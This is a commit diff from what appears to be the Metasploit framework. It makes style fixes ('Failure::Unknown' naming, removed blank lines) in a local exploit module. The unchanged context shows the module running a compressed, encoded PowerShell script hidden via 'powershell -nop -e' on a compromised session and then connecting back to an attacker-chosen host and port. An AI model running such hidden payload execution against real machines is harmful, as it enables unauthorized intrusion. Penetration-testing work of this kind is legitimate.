Updated tools/msftidy.rb issues
parent
ead57849f2
commit
d9d8451b9f
|
@ -87,9 +87,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
script = compress_script(script_in)
|
||||
|
||||
res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to start powershell process') unless res && res.pid
|
||||
|
||||
fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
|
||||
print_status("Attemping to connect to #{rhost}:#{lport}...")
|
||||
|
@ -125,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if last_error
|
||||
raise last_error
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to connect")
|
||||
fail_with(Failure::Unknown, "Unable to connect")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue